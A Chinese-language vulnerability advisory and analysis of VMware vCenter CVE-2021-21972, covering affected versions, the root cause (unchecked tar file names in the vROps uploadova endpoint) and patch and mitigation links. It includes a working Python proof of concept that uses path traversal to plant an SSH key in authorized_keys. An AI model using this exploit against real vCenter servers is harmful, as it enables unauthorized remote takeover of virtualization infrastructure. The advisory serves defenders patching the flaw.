描述

2021年02月24日，某些平臺監測到 Vmware官方發布了vCenter Server安全更新，修復了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations（vROps）中的一個遠程代碼執行漏洞（CVE-2021-21972），VMware vCenter Server是美國威睿（VMware）公司的一套服務器和虛擬化管理軟體，該軟體提供了一個用于管理VMware vCenter環境的集中式平臺，可自動實施和交付虛擬基礎架構，攻擊者可通過訪問web管理端向vCenter Server發送請求從而在作業系統上執行任意命令或者上傳一個webshell到vcenter服務器的任意位置執行

具有網路訪問埠443的惡意行為者可能會利用此問題在托管vCenter Server的基礎作業系統上以不受限制的特權執行命令，這會影響VMware vCenter Server（7.0 U1c之前的7.x，6.7 U3l之前的6.7和6.5 U3n之前的6.5）和VMware Cloud Foundation（4.2.3之前的4.x和3.10.1.2之前的3.x），

此外，VMware還修復了VMware ESXi中一個重要的堆溢位漏洞（CVE-2021-21974）與VMware vSphere中的一個SSRF漏洞（CVE-2021-21973），

據了解

在 CVE-2021-21972 VMware vCenter Server 遠程代碼漏洞中，攻擊者可直接通過443埠構造惡意請求，執行任意代碼，控制vCenter，

在 CVE-2021-21974 VMware ESXI 堆溢位漏洞中，攻擊者可通過427埠構造惡意請求，觸發OpenSLP服務中的堆溢位漏洞，并可能導致遠程代碼執行，

在 CVE-2021-21973 VMware vCenter Server SSRF漏洞中，攻擊者可通過443埠發送惡意POST請求，發起內網掃描，造成SSRF漏洞，

安裝環境

https://blog.csdn.net/z136370204/article/details/111719373

或者

https://www.miensi.com/352.html

影響版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

程序分析

vropspluginui對該插件分析，因為該漏洞是由插件引起的，所以進行分析

直接到關鍵點，uploadova介面，上傳檔案的時候沒有校驗檔案名稱，并且直接拼接到/tmp/unicorn_ova_dir后面，那么我們可以通過../ 繞過當前目錄限制，達到任意檔案上傳的目的

import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}

def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7b8/e+LHdqDJTohcTc0YcwepW/hshX02ulz/uC9rNMt+UYx/OCCu6g1rleMh1yaCyPFdcyjUYOyrxoioFDBLp+2ecg7Y6eoR2B/YvqhsZBGhmbWOSt2167M+i4Vi8ZMnC3NmlXh+1D/T9/ApgQMZ/XavsOl29LJgWHURvrgMywu5p4SlakDuAwoQxBd48t3fX3+eqH5bSv2ZfxZF/dTCpYLyQBYZ4iuXMPXFjxloChvGwoBXSHntvrDEx3zK/crMXPnkA8TAHbGp5do1fnAIq49CU2F9+ZSHAzSRlA1fFabjyNRZr6wRFI1Iocp43gHc8COEmlWtu6JO7Wi+iAwhd ubuntu@VM-0-12-ubuntu'
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e

修復建議

關閉有漏洞的插件：com.vmware.vrops.install

進行檢查：https://IP/ui/vropspluginui/rest/services/checkmobregister或者https：// <VC-IP-or-FQDN> / ui / vropspluginui / rest / services / checkmobregister 成功存在漏洞

進行升級到新的版本：

7.0 —— 7.0.U1c

6.7 —— 6.7.U3I

6.5 —— 6.5.U3n

VMware ESXi ESXi70U1c-17325551

VMware ESXi ESXi670-202102401-SG

VMware ESXi ESXi650-202102101-SG

下載鏈接

vCenter Server 6.5 U3n：

https://docs.vmware.com/en/VMware-vCenter/6.5/rn/vCenter-vcenter-server-65u3n-release-notes.html

vCenter Server 6.7.U3l：

https://docs.vmware.com/en/VMware-vCenter/6.7/rn/vCenter-vcenter-server-67u3l-release-notes.html

vCenter Server 7.0.U1c：

https://docs.vmware.com/en/VMware-vCenter/7.0/rn/vCenter-vcenter-server-70u1c-release-notes.html

1、升級VMware vCenter Server 與 VMware ESXi 至最新版本，

2、針對 CVE-2021-21972 VMware vCenter Server 遠程代碼漏洞與 CVE-2021-21973 VMware vCenter Server SSRF漏洞，可按照 https://kb.vmware.com/s/article/82374 相關措施進行緩解，

3、針對 CVE-2021-21974 VMware ESXI 堆溢位漏洞，可按照 https://kb.vmware.com/s/article/76372 相關措施進行緩解，